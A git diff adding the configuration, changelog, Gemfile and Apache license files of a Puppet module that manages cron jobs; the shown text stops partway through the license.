+.yardoc/ +Guardfile diff --git a/modules/utilities/unix/puppet_module/cron/.msync.yml b/modules/utilities/unix/puppet_module/cron/.msync.yml new file mode 100644 index 000000000..08e85ce0e --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/.msync.yml @@ -0,0 +1 @@ +modulesync_config_version: '1.6.0' diff --git a/modules/utilities/unix/puppet_module/cron/.overcommit.yml b/modules/utilities/unix/puppet_module/cron/.overcommit.yml new file mode 100644 index 000000000..31699e747 --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/.overcommit.yml @@ -0,0 +1,63 @@ +# Managed by https://github.com/voxpupuli/modulesync_configs +# +# Hooks are only enabled if you take action. +# +# To enable the hooks run: +# +# ``` +# bundle exec overcommit --install +# # ensure .overcommit.yml does not harm to you and then +# bundle exec overcommit --sign +# ``` +# +# (it will manage the .git/hooks directory): +# +# Examples howto skip a test for a commit or push: +# +# ``` +# SKIP=RuboCop git commit +# SKIP=PuppetLint git commit +# SKIP=RakeTask git push +# ``` +# +# Don't invoke overcommit at all: +# +# ``` +# OVERCOMMIT_DISABLE=1 git commit +# ``` +# +# Read more about overcommit: https://github.com/brigade/overcommit +# +# To manage this config yourself in your module add +# +# ``` +# .overcommit.yml: +# unmanaged: true +# ``` +# +# to your modules .sync.yml config +--- +PreCommit: + RuboCop: + enabled: true + description: 'Runs rubocop on modified files only' + command: ['bundle', 'exec', 'rubocop'] + PuppetLint: + enabled: true + description: 'Runs puppet-lint on modified files only' + command: ['bundle', 'exec', 'puppet-lint'] + YamlSyntax: + enabled: true + JsonSyntax: + enabled: true + TrailingWhitespace: + enabled: true + +PrePush: + RakeTarget: + enabled: true + description: 'Run rake targets' + targets: + - 'test' + - 'rubocop' + command: [ 'bundle', 'exec', 'rake' ] diff --git a/modules/utilities/unix/puppet_module/cron/.pmtignore b/modules/utilities/unix/puppet_module/cron/.pmtignore new file mode 100644 index 000000000..fb5895753 --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/.pmtignore @@ -0,0 +1,20 @@ +docs/ +pkg/ +Gemfile.lock +Gemfile.local +vendor/ +.vendor/ +spec/fixtures/manifests/ +spec/fixtures/modules/ +.vagrant/ +.bundle/ +.ruby-version +coverage/ +log/ +.idea/ +.dependencies/ +.librarian/ +Puppetfile.lock +*.iml +.*.sw? +.yardoc/ diff --git a/modules/utilities/unix/puppet_module/cron/.rspec b/modules/utilities/unix/puppet_module/cron/.rspec new file mode 100644 index 000000000..8c18f1abd --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/.rspec @@ -0,0 +1,2 @@ +--format documentation +--color diff --git a/modules/utilities/unix/puppet_module/cron/.rspec_parallel b/modules/utilities/unix/puppet_module/cron/.rspec_parallel new file mode 100644 index 000000000..e4d136b75 --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/.rspec_parallel @@ -0,0 +1 @@ +--format progress diff --git a/modules/utilities/unix/puppet_module/cron/.rubocop.yml b/modules/utilities/unix/puppet_module/cron/.rubocop.yml new file mode 100644 index 000000000..099a11c53 --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/.rubocop.yml @@ -0,0 +1,545 @@ +require: rubocop-rspec +AllCops: + TargetRubyVersion: 1.9 + Include: + - ./**/*.rb + Exclude: + - files/**/* + - vendor/**/* + - .vendor/**/* + - pkg/**/* + - spec/fixtures/**/* + - Gemfile + - Rakefile + - Guardfile + - Vagrantfile +Lint/ConditionPosition: + Enabled: True + +Lint/ElseLayout: + Enabled: True + +Lint/UnreachableCode: + Enabled: True + +Lint/UselessComparison: + Enabled: True + +Lint/EnsureReturn: + Enabled: True + +Lint/HandleExceptions: + Enabled: True + +Lint/LiteralInCondition: + Enabled: True + +Lint/ShadowingOuterLocalVariable: + Enabled: True + +Lint/LiteralInInterpolation: + Enabled: True + +Style/HashSyntax: + Enabled: True + +Style/RedundantReturn: + Enabled: True + +Layout/EndOfLine: + Enabled: False + +Lint/AmbiguousOperator: + Enabled: True + +Lint/AssignmentInCondition: + Enabled: True + +Layout/SpaceBeforeComment: + Enabled: True + +Style/AndOr: + Enabled: True + +Style/RedundantSelf: + Enabled: True + +Metrics/BlockLength: + Enabled: False + +# Method length is not necessarily an indicator of code quality +Metrics/MethodLength: + Enabled: False + +# Module length is not necessarily an indicator of code quality +Metrics/ModuleLength: + Enabled: False + +Style/WhileUntilModifier: + Enabled: True + +Lint/AmbiguousRegexpLiteral: + Enabled: True + +Security/Eval: + Enabled: True + +Lint/BlockAlignment: + Enabled: True + +Lint/DefEndAlignment: + Enabled: True + +Lint/EndAlignment: + Enabled: True + +Lint/DeprecatedClassMethods: + Enabled: True + +Lint/Loop: + Enabled: True + +Lint/ParenthesesAsGroupedExpression: + Enabled: True + +Lint/RescueException: + Enabled: True + +Lint/StringConversionInInterpolation: + Enabled: True + +Lint/UnusedBlockArgument: + Enabled: True + +Lint/UnusedMethodArgument: + Enabled: True + +Lint/UselessAccessModifier: + Enabled: True + +Lint/UselessAssignment: + Enabled: True + +Lint/Void: + Enabled: True + +Layout/AccessModifierIndentation: + Enabled: True + +Style/AccessorMethodName: + Enabled: True + +Style/Alias: + Enabled: True + +Layout/AlignArray: + Enabled: True + +Layout/AlignHash: + Enabled: True + +Layout/AlignParameters: + Enabled: True + +Metrics/BlockNesting: + Enabled: True + +Style/AsciiComments: + Enabled: True + +Style/Attr: + Enabled: True + +Style/BracesAroundHashParameters: + Enabled: True + +Style/CaseEquality: + Enabled: True + +Layout/CaseIndentation: + Enabled: True + +Style/CharacterLiteral: + Enabled: True + +Style/ClassAndModuleCamelCase: + Enabled: True + +Style/ClassAndModuleChildren: + Enabled: False + +Style/ClassCheck: + Enabled: True + +# Class length is not necessarily an indicator of code quality +Metrics/ClassLength: + Enabled: False + +Style/ClassMethods: + Enabled: True + +Style/ClassVars: + Enabled: True + +Style/WhenThen: + Enabled: True + +Style/WordArray: + Enabled: True + +Style/UnneededPercentQ: + Enabled: True + +Layout/Tab: + Enabled: True + +Layout/SpaceBeforeSemicolon: + Enabled: True + +Layout/TrailingBlankLines: + Enabled: True + +Layout/SpaceInsideBlockBraces: + Enabled: True + +Layout/SpaceInsideBrackets: + Enabled: True + +Layout/SpaceInsideHashLiteralBraces: + Enabled: True + +Layout/SpaceInsideParens: + Enabled: True + +Layout/LeadingCommentSpace: + Enabled: True + +Layout/SpaceBeforeFirstArg: + Enabled: True + +Layout/SpaceAfterColon: + Enabled: True + +Layout/SpaceAfterComma: + Enabled: True + +Layout/SpaceAfterMethodName: + Enabled: True + +Layout/SpaceAfterNot: + Enabled: True + +Layout/SpaceAfterSemicolon: + Enabled: True + +Layout/SpaceAroundEqualsInParameterDefault: + Enabled: True + +Layout/SpaceAroundOperators: + Enabled: True + +Layout/SpaceBeforeBlockBraces: + Enabled: True + +Layout/SpaceBeforeComma: + Enabled: True + +Style/CollectionMethods: + Enabled: True + +Layout/CommentIndentation: + Enabled: True + +Style/ColonMethodCall: + Enabled: True + +Style/CommentAnnotation: + Enabled: True + +# 'Complexity' is very relative +Metrics/CyclomaticComplexity: + Enabled: False + +Style/ConstantName: + Enabled: True + +Style/Documentation: + Enabled: False + +Style/DefWithParentheses: + Enabled: True + +Style/PreferredHashMethods: + Enabled: True + +Layout/DotPosition: + EnforcedStyle: trailing + +Style/DoubleNegation: + Enabled: True + +Style/EachWithObject: + Enabled: True + +Layout/EmptyLineBetweenDefs: + Enabled: True + +Layout/IndentArray: + Enabled: True + +Layout/IndentHash: + Enabled: True + +Layout/IndentationConsistency: + Enabled: True + +Layout/IndentationWidth: + Enabled: True + +Layout/EmptyLines: + Enabled: True + +Layout/EmptyLinesAroundAccessModifier: + Enabled: True + +Style/EmptyLiteral: + Enabled: True + +# Configuration parameters: AllowURI, URISchemes. +Metrics/LineLength: + Enabled: False + +Style/MethodCallWithoutArgsParentheses: + Enabled: True + +Style/MethodDefParentheses: + Enabled: True + +Style/LineEndConcatenation: + Enabled: True + +Layout/TrailingWhitespace: + Enabled: True + +Style/StringLiterals: + Enabled: True + +Style/TrailingCommaInArguments: + Enabled: True + +Style/TrailingCommaInLiteral: + Enabled: True + +Style/GlobalVars: + Enabled: True + +Style/GuardClause: + Enabled: True + +Style/IfUnlessModifier: + Enabled: True + +Style/MultilineIfThen: + Enabled: True + +Style/NegatedIf: + Enabled: True + +Style/NegatedWhile: + Enabled: True + +Style/Next: + Enabled: True + +Style/SingleLineBlockParams: + Enabled: True + +Style/SingleLineMethods: + Enabled: True + +Style/SpecialGlobalVars: + Enabled: True + +Style/TrivialAccessors: + Enabled: True + +Style/UnlessElse: + Enabled: True + +Style/VariableInterpolation: + Enabled: True + +Style/VariableName: + Enabled: True + +Style/WhileUntilDo: + Enabled: True + +Style/EvenOdd: + Enabled: True + +Style/FileName: + Enabled: True + +Style/For: + Enabled: True + +Style/Lambda: + Enabled: True + +Style/MethodName: + Enabled: True + +Style/MultilineTernaryOperator: + Enabled: True + +Style/NestedTernaryOperator: + Enabled: True + +Style/NilComparison: + Enabled: True + +Style/FormatString: + Enabled: True + +Style/MultilineBlockChain: + Enabled: True + +Style/Semicolon: + Enabled: True + +Style/SignalException: + Enabled: True + +Style/NonNilCheck: + Enabled: True + +Style/Not: + Enabled: True + +Style/NumericLiterals: + Enabled: True + +Style/OneLineConditional: + Enabled: True + +Style/OpMethod: + Enabled: True + +Style/ParenthesesAroundCondition: + Enabled: True + +Style/PercentLiteralDelimiters: + Enabled: True + +Style/PerlBackrefs: + Enabled: True + +Style/PredicateName: + Enabled: True + +Style/RedundantException: + Enabled: True + +Style/SelfAssignment: + Enabled: True + +Style/Proc: + Enabled: True + +Style/RaiseArgs: + Enabled: True + +Style/RedundantBegin: + Enabled: True + +Style/RescueModifier: + Enabled: True + +# based on https://github.com/voxpupuli/modulesync_config/issues/168 +Style/RegexpLiteral: + EnforcedStyle: percent_r + Enabled: True + +Lint/UnderscorePrefixedVariableName: + Enabled: True + +Metrics/ParameterLists: + Enabled: False + +Lint/RequireParentheses: + Enabled: True + +Style/ModuleFunction: + Enabled: True + +Lint/Debugger: + Enabled: True + +Style/IfWithSemicolon: + Enabled: True + +Style/Encoding: + Enabled: True + +Style/BlockDelimiters: + Enabled: True + +Layout/MultilineBlockLayout: + Enabled: True + +# 'Complexity' is very relative +Metrics/AbcSize: + Enabled: False + +# 'Complexity' is very relative +Metrics/PerceivedComplexity: + Enabled: False + +Lint/UselessAssignment: + Enabled: True + +Layout/ClosingParenthesisIndentation: + Enabled: True + +# RSpec + +RSpec/BeforeAfterAll: + Exclude: + - spec/acceptance/**/* + +# We don't use rspec in this way +RSpec/DescribeClass: + Enabled: False + +# Example length is not necessarily an indicator of code quality +RSpec/ExampleLength: + Enabled: False + +RSpec/NamedSubject: + Enabled: False + +# disabled for now since they cause a lot of issues +# these issues aren't easy to fix +RSpec/RepeatedDescription: + Enabled: False + +RSpec/NestedGroups: + Enabled: False + +# this is broken on ruby1.9 +Layout/IndentHeredoc: + Enabled: False + +# disable Yaml safe_load. This is needed to support ruby2.0.0 development envs +Security/YAMLLoad: + Enabled: false + +# This affects hiera interpolation, as well as some configs that we push. +Style/FormatStringToken: + Enabled: false + +# This is useful, but sometimes a little too picky about where unit tests files +# are located. +RSpec/FilePath: + Enabled: false diff --git a/modules/utilities/unix/puppet_module/cron/.sync.yml b/modules/utilities/unix/puppet_module/cron/.sync.yml new file mode 100644 index 000000000..ebab03bd8 --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/.sync.yml @@ -0,0 +1,5 @@ +--- +.travis.yml: + secure: "4Vw+AVfd98TLxVzNJs7oGvQjRcFK1ruaLuL3tnJVsHy1QBTkATy2tsa8EdA7biK2SUD/Sl4saUW0wdmrEcykp6eGSuShInZHb6CuH75+fmCuLlLeCi1gd4eHtxEImhFf7pIJRYQLJV3apPjGMQKjzN0ACmOu0fG2e+BBdwNXrAZmJwRszr36kBHg2FkYiYOcQuflZvCdYgKBDLk47PBAfJ8RmeR04GllrtiMdVqau0Z3lYTNegYAS6UGrXNk5kWxVpf9jKBXoILscvy5ltlZAPtj86mTx8xLswRCfn7DTuUg0rrqDq49v6xgOCpSj9s7PXEYEKgbv/bsTr/lLgm/LtlOOteKvJPIcZ7hdYL+wftdPudryscVhfneqQPF78VvP7jCkU1ntTPO6y6alQpPDBDuskNW059pF6DPXys7wwcOy+nNfcQkiattwBl94FGhFIOH5wTLLJ6he2sZMEua4xGpWEtx2fe/UXJFBAGsXjv+BrPhPQkOFscHLEWRktd8I5IsoPhQMevBj+HDUDOCsEYtzw8hV5QB4Ey4S6C20YlvwN0CR3yQmX9iLfoWvCgx6O89ECMcpPvdruONqB5/rmEJ0bAqnNp4fwhq066jkvLPlIpk5c8ItDza0DunfwvXTiqp6lLL7dUJWnOyw2f+Gz1E0OpgqANtReiuS9inf7c=" +spec/spec_helper.rb: + spec_overrides: "require 'spec_helper_methods'" diff --git a/modules/utilities/unix/puppet_module/cron/.travis.yml b/modules/utilities/unix/puppet_module/cron/.travis.yml new file mode 100644 index 000000000..74746acfe --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/.travis.yml @@ -0,0 +1,46 @@ +--- +sudo: false +dist: trusty +language: ruby +cache: bundler +before_install: + - rm -f Gemfile.lock +script: + - 'bundle exec rake $CHECK' +matrix: + fast_finish: true + include: + - rvm: 2.1.9 + bundler_args: --without system_tests development release + env: PUPPET_VERSION="~> 4.0" CHECK=test PARALLEL_TEST_PROCESSORS=16 + - rvm: 2.4.2 + bundler_args: --without system_tests development release + env: PUPPET_VERSION="~> 5.0" CHECK=test_with_coveralls + - rvm: 2.4.2 + bundler_args: --without system_tests development release + env: PUPPET_VERSION="~> 5.0" CHECK=rubocop + - rvm: 2.4.2 + bundler_args: --without system_tests development release + env: PUPPET_VERSION="~> 5.0" CHECK=build DEPLOY_TO_FORGE=yes +branches: + only: + - master + - /^v\d/ +notifications: + email: false + irc: + on_success: always + on_failure: always + channels: + - "chat.freenode.org#voxpupuli-notifications" +deploy: + provider: puppetforge + user: puppet + password: + secure: "4Vw+AVfd98TLxVzNJs7oGvQjRcFK1ruaLuL3tnJVsHy1QBTkATy2tsa8EdA7biK2SUD/Sl4saUW0wdmrEcykp6eGSuShInZHb6CuH75+fmCuLlLeCi1gd4eHtxEImhFf7pIJRYQLJV3apPjGMQKjzN0ACmOu0fG2e+BBdwNXrAZmJwRszr36kBHg2FkYiYOcQuflZvCdYgKBDLk47PBAfJ8RmeR04GllrtiMdVqau0Z3lYTNegYAS6UGrXNk5kWxVpf9jKBXoILscvy5ltlZAPtj86mTx8xLswRCfn7DTuUg0rrqDq49v6xgOCpSj9s7PXEYEKgbv/bsTr/lLgm/LtlOOteKvJPIcZ7hdYL+wftdPudryscVhfneqQPF78VvP7jCkU1ntTPO6y6alQpPDBDuskNW059pF6DPXys7wwcOy+nNfcQkiattwBl94FGhFIOH5wTLLJ6he2sZMEua4xGpWEtx2fe/UXJFBAGsXjv+BrPhPQkOFscHLEWRktd8I5IsoPhQMevBj+HDUDOCsEYtzw8hV5QB4Ey4S6C20YlvwN0CR3yQmX9iLfoWvCgx6O89ECMcpPvdruONqB5/rmEJ0bAqnNp4fwhq066jkvLPlIpk5c8ItDza0DunfwvXTiqp6lLL7dUJWnOyw2f+Gz1E0OpgqANtReiuS9inf7c=" + on: + tags: true + # all_branches is required to use tags + all_branches: true + # Only publish the build marked with "DEPLOY_TO_FORGE" + condition: "$DEPLOY_TO_FORGE = yes" diff --git a/modules/utilities/unix/puppet_module/cron/.yardopts b/modules/utilities/unix/puppet_module/cron/.yardopts new file mode 100644 index 000000000..3687f5184 --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/.yardopts @@ -0,0 +1,2 @@ +--markup markdown +--output-dir docs/ diff --git a/modules/utilities/unix/puppet_module/cron/CHANGELOG.md b/modules/utilities/unix/puppet_module/cron/CHANGELOG.md new file mode 100644 index 000000000..391dfd9b1 --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/CHANGELOG.md @@ -0,0 +1,110 @@ +# Changelog + +All notable changes to this project will be documented in this file. +Each new release typically also includes the latest modulesync defaults. +These should not affect the functionality of the module. + +## [v1.1.1](https://github.com/voxpupuli/puppet-cron/tree/v1.1.1) (2018-01-19) + +[Full Changelog](https://github.com/voxpupuli/puppet-cron/compare/v1.1.0...v1.1.1) + +**Merged pull requests:** + +- Fix README.md links [\#42](https://github.com/voxpupuli/puppet-cron/pull/42) ([alexjfisher](https://github.com/alexjfisher)) + +## [v1.1.0](https://github.com/voxpupuli/puppet-cron/tree/v1.1.0) (2018-01-19) + +[Full Changelog](https://github.com/voxpupuli/puppet-cron/compare/v1.0.0...v1.1.0) + +**Fixed bugs:** + +- Fix hiera lookup regression [\#40](https://github.com/voxpupuli/puppet-cron/pull/40) ([alexjfisher](https://github.com/alexjfisher)) + +**Merged pull requests:** + +- Voxpupuli migration [\#37](https://github.com/voxpupuli/puppet-cron/pull/37) ([alexjfisher](https://github.com/alexjfisher)) + +## v1.0.0 (2017-10-14) + + * BREAKING: Require Puppet version >=4.9.1 + * Added type-hinting to all manifest parameters + * Added management of /etc/cron.allow and /etc/cron.deny + * Replaced hiera\_hash() with lookup() calls + * Replaced params.pp with in-module data (Hiera 5) + * Replaced create\_resources with iterators + * Replaced anchor pattern with contain + * Made the cron::job command attribute optional + +## v0.2.1 (2017-07-30) + + * Added support for special time options + * Rspec fixes + +## v0.2.0 (2016-11-22) + + * BREAKING: Added cron service managment + The cron service is now managed by this module and by default the service will be started + * Rspec fixes + +## v0.1.8 (2016-06-26) + + * Added support for Scientific Linux + +## v0.1.7 (2016-06-12) + + * Properly support Gentoo + * Documentation fixes + * Rspec fixes + +## v0.1.6 (2016-04-10) + + * Added description parameters + +## v0.1.5 (2016-03-06) + + * Fix release on forge + +## v0.1.4 (2016-03-06) + + * Added possibility to add jobs from hiera + * Added Debian as supported operating system + * Allow declaration of cron class without managing the cron package + * Properly detect RHEL 5 based cron packages + * Fix puppet-lint warnings + * Add more tests + +## v0.1.3 (2015-09-20) + + * Support for multiple cron jobs in a single file added (cron::job::multiple) + * Make manifest code more readable + * Change header in template to fit standard 80 char wide terminals + * Extend README.md + +## v0.1.2 (2015-08-13) + + * Update to new style of Puppet modules (metadata.json) + +## v0.1.1 (2015-07-12) + + * Make module Puppet 4 compatible + * Fix Travis CI integration + +## v0.1.0 (2013-08-27) + + * Add support for the `ensure` parameter + +## v0.0.3 (2013-07-04) + + * Make job files owned by root + * Fix warnings for Puppet 3.2.2 + +## v0.0.2 (2013-05-11) + + * Make mode of job file configurable + +## v0.0.1 (2013-03-02) + + * Initial PuppetForge release + + +\* *This Changelog was automatically generated by [github_changelog_generator](https://github.com/skywinder/Github-Changelog-Generator)* \ No newline at end of file diff --git a/modules/utilities/unix/puppet_module/cron/Gemfile b/modules/utilities/unix/puppet_module/cron/Gemfile new file mode 100644 index 000000000..666c75dab --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/Gemfile @@ -0,0 +1,77 @@ +source ENV['GEM_SOURCE'] || "https://rubygems.org" + +def location_for(place, fake_version = nil) + if place =~ /^(git[:@][^#]*)#(.*)/ + [fake_version, { :git => $1, :branch => $2, :require => false }].compact + elsif place =~ /^file:\/\/(.*)/ + ['>= 0', { :path => File.expand_path($1), :require => false }] + else + [place, { :require => false }] + end +end + +group :test do + gem 'puppetlabs_spec_helper', '~> 2.5.0', :require => false + gem 'rspec-puppet', '~> 2.5', :require => false + gem 'rspec-puppet-facts', :require => false + gem 'rspec-puppet-utils', :require => false + gem 'puppet-lint-leading_zero-check', :require => false + gem 'puppet-lint-trailing_comma-check', :require => false + gem 'puppet-lint-version_comparison-check', :require => false + gem 'puppet-lint-classes_and_types_beginning_with_digits-check', :require => false + gem 'puppet-lint-unquoted_string-check', :require => false + gem 'puppet-lint-variable_contains_upcase', :require => false + gem 'metadata-json-lint', :require => false + gem 'redcarpet', :require => false + gem 'rubocop', '~> 0.49.1', :require => false if RUBY_VERSION >= '2.3.0' + gem 'rubocop-rspec', '~> 1.15.0', :require => false if RUBY_VERSION >= '2.3.0' + gem 'mocha', '>= 1.2.1', :require => false + gem 'coveralls', :require => false + gem 'simplecov-console', :require => false + gem 'rack', '~> 1.0', :require => false if RUBY_VERSION < '2.2.2' + gem 'parallel_tests', :require => false +end + +group :development do + gem 'travis', :require => false + gem 'travis-lint', :require => false + gem 'guard-rake', :require => false + gem 'overcommit', '>= 0.39.1', :require => false +end + +group :system_tests do + gem 'winrm', :require => false + if beaker_version = ENV['BEAKER_VERSION'] + gem 'beaker', *location_for(beaker_version) + else + gem 'beaker', '>= 3.9.0', :require => false + end + if beaker_rspec_version = ENV['BEAKER_RSPEC_VERSION'] + gem 'beaker-rspec', *location_for(beaker_rspec_version) + else + gem 'beaker-rspec', :require => false + end + gem 'serverspec', :require => false + gem 'beaker-puppet_install_helper', :require => false + gem 'beaker-module_install_helper', :require => false +end + +group :release do + gem 'github_changelog_generator', :require => false if RUBY_VERSION >= '2.2.2' + gem 'puppet-blacksmith', :require => false + gem 'voxpupuli-release', :require => false, :git => 'https://github.com/voxpupuli/voxpupuli-release-gem' + gem 'puppet-strings', '~> 1.0', :require => false +end + + + +if facterversion = ENV['FACTER_GEM_VERSION'] + gem 'facter', facterversion.to_s, :require => false, :groups => [:test] +else + gem 'facter', :require => false, :groups => [:test] +end + +ENV['PUPPET_VERSION'].nil? ? puppetversion = '~> 5.0' : puppetversion = ENV['PUPPET_VERSION'].to_s +gem 'puppet', puppetversion, :require => false, :groups => [:test] + +# vim: syntax=ruby diff --git a/modules/utilities/unix/puppet_module/cron/HISTORY.md b/modules/utilities/unix/puppet_module/cron/HISTORY.md new file mode 100644 index 000000000..39f37997c --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/HISTORY.md @@ -0,0 +1,81 @@ +## v1.0.0 (2017-10-14) + + * BREAKING: Require Puppet version >=4.9.1 + * Added type-hinting to all manifest parameters + * Added management of /etc/cron.allow and /etc/cron.deny + * Replaced hiera\_hash() with lookup() calls + * Replaced params.pp with in-module data (Hiera 5) + * Replaced create\_resources with iterators + * Replaced anchor pattern with contain + * Made the cron::job command attribute optional + +## v0.2.1 (2017-07-30) + + * Added support for special time options + * Rspec fixes + +## v0.2.0 (2016-11-22) + + * BREAKING: Added cron service managment + The cron service is now managed by this module and by default the service will be started + * Rspec fixes + +## v0.1.8 (2016-06-26) + + * Added support for Scientific Linux + +## v0.1.7 (2016-06-12) + + * Properly support Gentoo + * Documentation fixes + * Rspec fixes + +## v0.1.6 (2016-04-10) + + * Added description parameters + +## v0.1.5 (2016-03-06) + + * Fix release on forge + +## v0.1.4 (2016-03-06) + + * Added possibility to add jobs from hiera + * Added Debian as supported operating system + * Allow declaration of cron class without managing the cron package + * Properly detect RHEL 5 based cron packages + * Fix puppet-lint warnings + * Add more tests + +## v0.1.3 (2015-09-20) + + * Support for multiple cron jobs in a single file added (cron::job::multiple) + * Make manifest code more readable + * Change header in template to fit standard 80 char wide terminals + * Extend README.md + +## v0.1.2 (2015-08-13) + + * Update to new style of Puppet modules (metadata.json) + +## v0.1.1 (2015-07-12) + + * Make module Puppet 4 compatible + * Fix Travis CI integration + +## v0.1.0 (2013-08-27) + + * Add support for the `ensure` parameter + +## v0.0.3 (2013-07-04) + + * Make job files owned by root + * Fix warnings for Puppet 3.2.2 + +## v0.0.2 (2013-05-11) + + * Make mode of job file configurable + +## v0.0.1 (2013-03-02) + + * Initial PuppetForge release diff --git a/modules/utilities/unix/puppet_module/cron/LICENSE b/modules/utilities/unix/puppet_module/cron/LICENSE new file mode 100644 index 000000000..af74b6f96 --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/LICENSE @@ -0,0 +1,203 @@ +Copyright 2012-2013 Tray Torrance + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND 